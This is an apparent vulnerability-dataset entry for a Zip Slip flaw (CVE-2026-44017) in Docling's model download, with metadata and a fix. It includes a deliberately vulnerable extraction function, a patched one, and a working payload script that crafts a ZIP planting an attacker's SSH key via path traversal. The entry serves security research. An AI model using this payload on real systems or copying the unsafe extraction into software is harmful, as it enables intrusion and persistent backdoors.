CVE-2026-44017
Zip Slip in Docling's model download allows arbitrary file write, RCE.
- CVSS 7.5
- CWE-22
- Input Validation and Sanitization
- Remote
Docling simplifies document processing by parsing diverse formats and providing integrations with the generative AI ecosystem. Prior to 2.91.0, the EasyOCR model download functionality extracted ZIP archives without validating member paths, enabling Zip Slip attacks. If an attacker could compromise the model download source (via supply chain attack, DNS spoofing, or MITM), they could write arbitrary files to any location writable by the process, potentially achieving remote code execution by overwriting Python files or system binaries, persistent backdoors by modifying startup scripts or SSH keys, and data corruption or system compromise. This vulnerability is fixed in 2.91.0.
- CWE
- CWE-22
- CVSS base score
- 7.5
- Published
- 2026-06-24
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Path Traversal
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- Docling
- Fixed by upgrading
- Yes
Solution
Upgrade Docling to version 2.91.0 or later.
Vulnerable code sample
import zipfile
import os
# This function simulates the vulnerable extraction logic prior to the fix.
# It represents the core of the Zip Slip vulnerability where member paths
# from a ZIP archive are not validated before extraction.
def unsafe_extract_archive(zip_file_path, destination_dir):
os.makedirs(destination_dir, exist_ok=True)
with zipfile.ZipFile(zip_file_path, 'r') as zip_ref:
for member in zip_ref.infolist():
# The vulnerability lies here: The member's filename is used to
# construct the target path without checking for path traversal
# characters like '..'.
target_path = os.path.join(destination_dir, member.filename)
# The application proceeds to write the file to the constructed path,
# potentially outside of the intended 'destination_dir'.
if not member.is_dir():
# Ensure the parent directory for the file exists
parent_directory = os.path.dirname(target_path)
os.makedirs(parent_directory, exist_ok=True)
# Extract the file content and write it to the unsafe path
with zip_ref.open(member) as source, open(target_path, "wb") as target:
target.write(source.read())Patched code sample
import os
import zipfile
from pathlib import Path
def secure_extract_zip(zip_path, extract_to_dir):
"""
Extracts a ZIP archive to a specified directory, preventing Zip Slip attacks.
This function validates that each member's path is safely within the
intended destination directory before extraction.
"""
# Resolve the destination directory to an absolute path to establish a secure root.
destination_root = Path(extract_to_dir).resolve()
# Ensure the destination directory exists.
destination_root.mkdir(parents=True, exist_ok=True)
with zipfile.ZipFile(zip_path, 'r') as zf:
for member_info in zf.infolist():
# Skip directories
if member_info.is_dir():
continue
# Construct the full intended destination path for the member.
target_path = destination_root.joinpath(member_info.filename).resolve()
# THE FIX:
# Check if the resolved target path is still within the destination root.
# This is done by verifying that the destination root is a parent of the
# resolved target path. This check prevents traversal attacks (e.g., '../').
try:
target_path.relative_to(destination_root)
except ValueError:
# If relative_to fails, it means the path is outside the destination root.
print(f"Malicious path detected, skipping file: {member_info.filename}")
continue
# If the path is safe, proceed with extraction.
# Ensure parent directory for the file exists.
target_path.parent.mkdir(parents=True, exist_ok=True)
with zf.open(member_info) as source, open(target_path, "wb") as target:
target.write(source.read())Payload
import zipfile
import io
# The malicious filename uses path traversal to target a sensitive location.
# This example aims to add a new SSH authorized key for persistent access.
# Assumes the target user running the process is, for example, 'appuser'.
malicious_filename = '../../../../../../home/appuser/.ssh/authorized_keys'
# The content is the attacker's public SSH key.
# Replace with an actual public SSH key.
malicious_content = b'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC... attacker@machine\n'
# Create the malicious ZIP archive in memory to be served to the victim.
zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf:
# Create a ZipInfo object to control metadata
info = zipfile.ZipInfo(malicious_filename)
# Set permissions (optional but can be useful)
info.external_attr = 0o600 << 16
# Write the malicious file with the crafted path
zf.writestr(info, malicious_content)
# Optionally, add a legitimate-looking file to make the archive appear normal.
zf.writestr('model/config.json', b'{"version": "1.0"}')
# This buffer would then be hosted on a server controlled by the attacker
# and served to the Docling application via a MITM or similar supply chain attack.
# For demonstration, we save it to a local file.
with open('malicious-model-archive.zip', 'wb') as f:
f.write(zip_buffer.getvalue())
Cite this entry
@misc{vaitp:cve202644017,
title = {{Zip Slip in Docling's model download allows arbitrary file write, RCE.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-44017},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-44017/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
